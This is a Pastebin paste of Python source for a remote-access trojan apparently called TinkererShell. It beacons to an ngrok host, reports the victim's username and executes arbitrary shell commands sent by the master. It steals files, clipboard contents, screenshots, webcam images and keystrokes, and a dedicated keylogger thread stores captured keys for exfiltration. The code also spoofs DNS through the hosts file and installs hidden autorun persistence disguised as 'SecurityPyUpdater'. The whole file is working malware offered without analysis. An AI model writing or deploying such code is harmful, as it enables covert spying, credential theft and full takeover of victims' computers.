Guest User

Untitled

a guest
Jan 17th, 2020
224
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 19.92 KB | None | 0 0
  1. #!/usr/bin/python3.7
  2. # -*- coding: utf-8 -*-
  3.  
  4. import sys
  5.  
  6. sys.path.append('./modules/')
  7. import shutil
  8. import socket
  9. import subprocess
  10. import os
  11. import tempfile
  12. import threading
  13. import pyperclip
  14. from time import sleep
  15. from base64 import b64encode, b64decode
  16. from filecmp import cmp
  17. from pathlib import Path
  18. import pyscreenshot as ImageGrab
  19. import cv2
  20. from io import BytesIO
  21. from tendo import singleton
  22.  
  23. # Importing module for autostart written by Jonas Wagner
  24. # http://29a.ch/2009/3/17/autostart-autorun-with-python
  25. import autorun
  26.  
  27. from my_crypt_func import encode_aes, decode_aes
  28.  
  29. # Activating persistence (True)
  30. persistenceactivation = False
  31.  
  32. # Global variables
  33. global thr_block
  34. global thr_exit
  35.  
  36. # I understand on which system I am and then I import the corrects modules for the keylogger
  37. if os.name == 'nt':
  38. platform = 'windows'
  39. import pythoncom
  40. import pyHook
  41. elif os.name == 'posix':
  42. platform = 'posix'
  43. import pyxhook
  44. else:
  45. sys.exit('System not supported!')
  46.  
  47. fd_temp, keylogfile = tempfile.mkstemp()
  48. with open(keylogfile, 'w') as f:
  49. f.write('')
  50.  
  51.  
  52. # =================================================================================================
  53.  
  54. def persistence_install() -> bool:
  55. """Install persistence.\n"""
  56. # TODO: test on Linux
  57. # TODO: test on Windows
  58. if not autorun.exists('SecurityPyUpdater'):
  59. path = os.path.abspath(sys.argv[0])
  60. if platform == 'windows':
  61. target_to_autostart = str(Path.home()) + os.path.normcase('/demo/sec_upd.exe')
  62. else:
  63. target_to_autostart = str(Path.home()) + '/.Xsec_upd'
  64. if not os.path.isfile(target_to_autostart):
  65. shutil.copyfile(path, target_to_autostart)
  66. if platform == 'windows':
  67. # Try to hide file adding hidden attribute to it
  68. try:
  69. subprocess.check_call(["attrib", "+H", target_to_autostart])
  70. except Exception as exception:
  71. print(exception)
  72. return False
  73. else:
  74. # Give executable permission to file
  75. try:
  76. subprocess.Popen('chmod 700 ' + target_to_autostart, shell=True,
  77. stdout=subprocess.PIPE,
  78. stderr=subprocess.PIPE,
  79. stdin=subprocess.PIPE)
  80. except Exception as exception:
  81. print(exception)
  82. return False
  83. autorun.add('SecurityPyUpdater', target_to_autostart)
  84. return True
  85. return False
  86.  
  87.  
  88. def persistence_remove() -> bool:
  89. """Uninstall persistence (disable autorun but can't delete himself).\n"""
  90. if autorun.exists('SecurityPyUpdater'):
  91. autorun.remove('SecurityPyUpdater')
  92. return True
  93. return False
  94.  
  95.  
  96. def persistence_status() -> bool:
  97. """Check if persistence is installed.\n"""
  98. if autorun.exists('SecurityPyUpdater'):
  99. return True
  100. return False
  101.  
  102.  
  103. # Persistence !!!
  104. if persistenceactivation is True:
  105. persistence_install()
  106.  
  107. # Verify only one instance of TinkererShell is running
  108. me = singleton.SingleInstance()
  109.  
  110.  
  111. def receiver() -> str:
  112. """Receive data from master, decrypt it and return it.\n"""
  113. lengthcrypt = s.recv(1024).decode('utf-8')
  114. expected_length = int(decode_aes(lengthcrypt))
  115. encrypted_received_data = ''
  116. while len(encrypted_received_data) < expected_length:
  117. encrypted_received_data += s.recv(1024).decode('utf-8')
  118. return decode_aes(encrypted_received_data)
  119.  
  120.  
  121. def sender(data_to_send: str) -> None:
  122. """Encrypt data and send it to master.\n"""
  123. # If data = 0 I will set an arbitrary string so sending operation will not be NULL
  124. if not data_to_send:
  125. data_to_send = 'Ok (no output)\n'
  126. # Crypting data, obtaining their length and then typecasting it to data_to_send string and crypting it
  127. encoded = encode_aes(data_to_send)
  128. length = str(len(encoded))
  129. length_crypt = encode_aes(length)
  130. # Sending the length and wait. Then send data
  131. s.send(bytes(length_crypt, 'utf-8'))
  132. sleep(1)
  133. s.send(bytes(encoded, 'utf-8'))
  134.  
  135.  
  136. def command_executor(command: str):
  137. """Execute a command in the system shell and send its output to the master.\n"""
  138. try:
  139. proc = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE,
  140. stdin=subprocess.PIPE)
  141. # Reading and sending output
  142. sender((proc.stdout.read() + proc.stderr.read()).decode('utf-8'))
  143. except Exception as exception:
  144. sender('reachedexcept')
  145. sender(str(exception))
  146.  
  147.  
  148. def listprocesses():
  149. """List running processes.\n"""
  150. if platform == 'windows':
  151. command_executor('tasklist')
  152. else:
  153. command_executor('pstree -u -p')
  154.  
  155.  
  156. def killprocesses():
  157. """Kill a running process.\n"""
  158. if platform == 'windows':
  159. sender('Insert the name of the process\t\texample.exe\n')
  160. else:
  161. sender('Insert process PID\n')
  162. process_id = receiver()
  163. if platform == 'windows':
  164. command_executor('TASKKILL /IM ' + process_id + ' /F /T')
  165. else:
  166. command_executor('kill -9 ' + process_id)
  167.  
  168.  
  169. def dnsspoofer(dnsfile: str):
  170. """Edit hosts file to redirect user when visiting a specified domain.\n"""
  171. sender('Insert address from which you want to redirect\n')
  172. orig_address = receiver()
  173. sender('Insert address to which you want to redirect\n')
  174. evil_address = receiver()
  175. if os.access(dnsfile, os.W_OK):
  176. try:
  177. f_spoof = open(dnsfile, 'r')
  178. original_hosts_file = f_spoof.read()
  179. f_spoof.close()
  180. f_spoof = open(dnsfile, 'w')
  181. f_spoof.write(original_hosts_file + '\n' + evil_address + ' ' + orig_address)
  182. f_spoof.close()
  183. sender('Operation completed\n')
  184. except Exception as exception:
  185. sender(str(exception))
  186. else:
  187. sender('Operation aborted! Cannot write to target file!\n')
  188.  
  189.  
  190. def dnscleaner(dnsfile: str, dnsbackup: str, send=False):
  191. """Restore original hosts file from backup made at shell startup.\n"""
  192. if os.access(dnsfile, os.W_OK):
  193. try:
  194. f_clean = open(dnsbackup, 'r')
  195. buffer = f_clean.read()
  196. f_clean.close()
  197. f_clean = open(dnsfile, 'w')
  198. f_clean.write(buffer)
  199. f_clean.close()
  200. if send is True:
  201. sender('DNS cleaned\n')
  202. except Exception as exception:
  203. if send is True:
  204. sender(str(exception))
  205. else:
  206. if send is True:
  207. sender('Operation aborted! Cannot write to target file!\n')
  208.  
  209.  
  210. def keylogs_status():
  211. """Check if keylogger thread is capturing data.\n"""
  212. if thr_block.isSet():
  213. sender('Keylogger is not running!\n')
  214. else:
  215. sender('Keylogger is running!\n')
  216.  
  217.  
  218. def keylogs_start():
  219. """Enable keylogger thread to capture data.\n"""
  220. if thr_block.isSet():
  221. thr_block.clear()
  222. sender('Keylogger started!\n')
  223. else:
  224. sender('Keylogger is already running!\n')
  225.  
  226.  
  227. def keylogs_stop():
  228. """Disable keylogger thread from capturing data.\n"""
  229. if not thr_block.isSet():
  230. thr_block.set()
  231. sender('Keylogger stopped!\n')
  232. else:
  233. sender('Keylogger is not running!\n')
  234.  
  235.  
  236. def keylogs_download():
  237. """Sends keylogged data to the master and delete it from victim host.\n"""
  238. try:
  239. with open(keylogfile, 'rb') as f_kd:
  240. keylogged_data = b64decode(f_kd.read()).decode('utf-8')
  241. sender(keylogged_data + '\n')
  242. except Exception as exception:
  243. sender('reachedexcept')
  244. sender(str(exception))
  245. try:
  246. cleaner = open(keylogfile, 'w')
  247. cleaner.write('')
  248. cleaner.close()
  249. except Exception as exception:
  250. print(exception)
  251.  
  252.  
  253. # TODO: Test on Windows
  254. def screenshot():
  255. """Takes a screenshot of bot's monitors and sends it to the master.\n"""
  256. buffer = BytesIO()
  257. try:
  258. im = ImageGrab.grab()
  259. im.save(buffer, format='PNG')
  260. im.close()
  261. b64_str = str(b64encode(buffer.getvalue()))
  262. sender(b64_str[2:-1])
  263. except Exception as exception:
  264. sender('reachedexcept')
  265. sender(str(exception))
  266.  
  267.  
  268. # TODO: Test on Windows
  269. def webcam_pic():
  270. """Takes a picture with bot's webcam and sends it to the master.\n"""
  271. try:
  272. video_capture = cv2.VideoCapture(0)
  273. # Check success
  274. if video_capture.isOpened():
  275. # Read picture. ret === True on success
  276. ret, frame = video_capture.read()
  277. # Close device
  278. video_capture.release()
  279. is_success, buffer = cv2.imencode(".png", frame)
  280. io_buf = BytesIO(buffer)
  281. b64_str = str(b64encode(io_buf.getvalue()))
  282. sender(b64_str[2:-1])
  283. else:
  284. sender('reachedexcept')
  285. sender('Can\'t access any webcam!')
  286. except Exception as exception:
  287. sender('reachedexcept')
  288. sender(str(exception))
  289.  
  290.  
  291. # TODO: Test on Windows
  292. def clip_copy():
  293. """Sends bot's clipboard content to the master.\n"""
  294. try:
  295. sender('Clipboard content:\n' + pyperclip.paste())
  296. except Exception as exception:
  297. sender(str(exception))
  298.  
  299.  
  300. def downloader():
  301. """Download a file from victim host to master.\n"""
  302. sender('Insert name of the file\t\t' + os.path.normcase('C:/boot.ini') + '\n')
  303. try:
  304. file_name = os.path.normcase(receiver())
  305. # Reading file in binary form
  306. f_dow = open(file_name, 'rb')
  307. a = f_dow.read()
  308. f_dow.close()
  309. except Exception as exception:
  310. sender('reachedexcept')
  311. a = str(exception)
  312. sender(a.decode('utf-8'))
  313.  
  314.  
  315. def uploader():
  316. """Upload a file from master to victim host.\n"""
  317. filename = os.path.normcase(receiver())
  318. uploaded_data: str = receiver()
  319. if uploaded_data != 'reachedexcept':
  320. try:
  321. # Writing file in binary form
  322. filewrite = open(filename, 'wb')
  323. filewrite.write(bytes(uploaded_data, 'utf-8'))
  324. filewrite.close()
  325. sender('File saved in ' + filename + '\n')
  326. except Exception as exception:
  327. sender(str(exception))
  328. else:
  329. sender('Operation aborted\n')
  330.  
  331.  
  332. # =================================================================================================
  333.  
  334. # Defining correct keylogging procedure
  335. def keylogger(fd_temp_key: int):
  336. """Key logger thread.\n"""
  337.  
  338. def OnKeyboardEvent(event):
  339. """"Define action triggered when a key is pressed.\n"""
  340. if not thr_block.isSet():
  341. if event.Ascii != 0 or 8:
  342. # Use base64 and not an encryption just for performance
  343. with open(keylogfile, 'r+b') as f_key:
  344. data_decoded = b64decode(f_key.read()).decode('utf-8')
  345. f_key.seek(0)
  346. if event.Key == 'space':
  347. data_decoded += ' '
  348. f_key.write(b64encode(data_decoded.encode('utf-8')))
  349. elif event.Key == 'BackSpace':
  350. data_decoded += '[BackSpace]'
  351. f_key.write(b64encode(data_decoded.encode('utf-8')))
  352. elif event.Key == 'Return':
  353. data_decoded += '[Enter]'
  354. f_key.write(b64encode(data_decoded.encode('utf-8')))
  355. elif event.Key == 'Shift_L':
  356. data_decoded += '[Shift_L]'
  357. f_key.write(b64encode(data_decoded.encode('utf-8')))
  358. elif event.Key == 'Shift_R':
  359. data_decoded += '[Shift_R]'
  360. f_key.write(b64encode(data_decoded.encode('utf-8')))
  361. elif event.Key == 'Tab':
  362. data_decoded += '[Tab]'
  363. f_key.write(b64encode(data_decoded.encode('utf-8')))
  364. else:
  365. data_decoded += event.Key
  366. f_key.write(b64encode(data_decoded.encode('utf-8')))
  367. if thr_exit.isSet():
  368. os.close(fd_temp_key)
  369. hm.cancel()
  370. return True
  371.  
  372. # create a hook manager
  373. if platform == 'windows':
  374. hm = pyHook.HookManager()
  375. else:
  376. hm = pyxhook.HookManager()
  377. # watch for all mouse events
  378. hm.KeyDown = OnKeyboardEvent
  379. # set the hook
  380. hm.HookKeyboard()
  381. # wait forever
  382. if platform == 'windows':
  383. pythoncom.PumpMessages()
  384. else:
  385. hm.start()
  386.  
  387.  
  388. # =================================================================================================
  389.  
  390. def backdoor():
  391. """Shell thread that connect to master and permit control over the agent.\n"""
  392. while True:
  393. host = '0.tcp.ngrok.io' # Remote host to which you want the backdoor to connect to
  394. port = 19361 # The connection port to use
  395.  
  396. # Defining global the variables that I need to use in many different functions
  397. global s
  398.  
  399. # Creating the socket
  400. first_s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  401.  
  402. if platform == 'windows':
  403. dnsfile = os.getenv('WINDIR') + os.path.normcase('/system32/drivers/etc/hosts')
  404. dnsbackup = tempfile.gettempdir() + os.path.normcase('/spoofbackup')
  405. else:
  406. dnsfile = '/etc/hosts'
  407. dnsbackup = tempfile.gettempdir() + '/spoofbackup'
  408.  
  409. # Backing up Hosts file
  410. f_bd = open(dnsfile, 'r')
  411. buffer = f_bd.read()
  412. f_bd.close()
  413. f_bd = open(dnsbackup, 'w')
  414. f_bd.write(buffer)
  415. f_bd.close()
  416.  
  417. # Connection loop
  418. while True:
  419. while True:
  420. if thr_exit.isSet():
  421. break
  422. try:
  423. # Connecting to the client
  424. first_s.connect((host, port))
  425. break
  426. # If i cannot connect I wait 2 minutes and then I retry
  427. except Exception as exception:
  428. print(exception)
  429. print('>>> New attempt in 2 min')
  430. sleep(30)
  431. print('>>> New attempt in 1,5 min')
  432. sleep(30)
  433. print('>>> New attempt in 1 min')
  434. sleep(30)
  435. print('>>> New attempt in 30 sec')
  436. sleep(30)
  437. if thr_exit.isSet():
  438. break
  439. # Sending information relatives to the infected system
  440. proc = subprocess.run(['whoami'], check=True, stdout=subprocess.PIPE, universal_newlines=True)
  441. username = proc.stdout.split()[0]
  442. # First time i send username
  443. encoded = encode_aes(username)
  444. length = str(len(encoded))
  445. length_crypt = encode_aes(length)
  446. # Sending the length and wait. Then send data
  447. first_s.send(bytes(length_crypt, 'utf-8'))
  448. sleep(1)
  449. first_s.send(bytes(encoded, 'utf-8'))
  450. print('Connection successful')
  451. lengthcrypt = first_s.recv(1024).decode('utf-8')
  452. expected_length = int(str(decode_aes(lengthcrypt)))
  453. encrypted_received_data = ''
  454. while len(encrypted_received_data) < expected_length:
  455. encrypted_received_data += first_s.recv(1024).decode('utf-8')
  456. new_port = int(decode_aes(encrypted_received_data))
  457. print('New port is gonna be {}'.format(new_port))
  458. sleep(5)
  459. first_s.close()
  460. # Connecting to the client on the new port
  461. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  462. s.connect((host, new_port))
  463. # Sending information relatives to the infected system
  464. encoded = encode_aes(username)
  465. length = str(len(encoded))
  466. length_crypt = encode_aes(length)
  467. # Sending the length and wait. Then send data
  468. s.send(bytes(length_crypt, 'utf-8'))
  469. sleep(1)
  470. s.send(bytes(encoded, 'utf-8'))
  471. break
  472.  
  473. # Commands loop
  474. if not thr_exit.isSet():
  475. while 1:
  476. received_command = receiver()
  477. if received_command != 'KeepAlive':
  478. if received_command == 'quit':
  479. sender('mistochiudendo')
  480. break
  481. elif received_command == 'kill':
  482. sender('mistochiudendo')
  483. # If thr_exit.set() next keystroke will terminate keylogger thread
  484. thr_exit.set()
  485. break
  486. elif received_command == 'processlist':
  487. listprocesses()
  488. elif received_command == 'processkill':
  489. killprocesses()
  490. elif received_command == 'dnsstart':
  491. dnsspoofer(dnsfile)
  492. elif received_command == 'dnsstop':
  493. if cmp(dnsfile, dnsbackup) is False:
  494. dnscleaner(dnsfile, dnsbackup, send=True)
  495. else:
  496. sender('Original hosts file and current one are the same! Nothing to change.')
  497. elif received_command == 'download':
  498. downloader()
  499. elif received_command == 'upload':
  500. uploader()
  501. elif received_command == 'Screenshot':
  502. screenshot()
  503. elif received_command == 'webcampic':
  504. webcam_pic()
  505. elif received_command == 'clipboard':
  506. clip_copy()
  507. elif received_command == 'keylogstatus':
  508. keylogs_status()
  509. elif received_command == 'keylogstart':
  510. keylogs_start()
  511. elif received_command == 'keylogstop':
  512. keylogs_stop()
  513. elif received_command == 'keylogdownload':
  514. keylogs_download()
  515. elif received_command == 'zersistenceenable':
  516. if persistence_install():
  517. sender('Persistence installation successful!')
  518. else:
  519. sender('Persistence already installed!')
  520. elif received_command == 'persistencedisable':
  521. if persistence_remove():
  522. sender('Persistence remove successful!')
  523. else:
  524. sender('Persistence not yet installed!')
  525. elif received_command == 'persistencestatus':
  526. if persistence_status():
  527. sender('Persistence is installed.')
  528. else:
  529. sender('Persistence is not installed.')
  530. else:
  531. command_executor(received_command)
  532.  
  533. # Recreating original hosts file of the system
  534. if cmp(dnsfile, dnsbackup) is False:
  535. dnscleaner(dnsfile, dnsbackup)
  536. try:
  537. os.remove(dnsbackup)
  538. except Exception as exception:
  539. print(exception)
  540. # Closing socket
  541. s.close()
  542. print('Connection closed')
  543. if thr_exit.isSet():
  544. break
  545. sleep(120)
  546. return True
  547.  
  548.  
  549. thr_block = threading.Event()
  550. thr_exit = threading.Event()
  551.  
  552. # Keylogger's thread
  553. thread1 = threading.Thread(name='sic1', target=keylogger, args=[fd_temp]).start()
  554. # Backdoor's thread
  555. thread2 = threading.Thread(name='sic2', target=backdoor).start()
  556.  
  557. # TODO: Add Webcam stream and microphone
Add Comment
Please, Sign In to add comment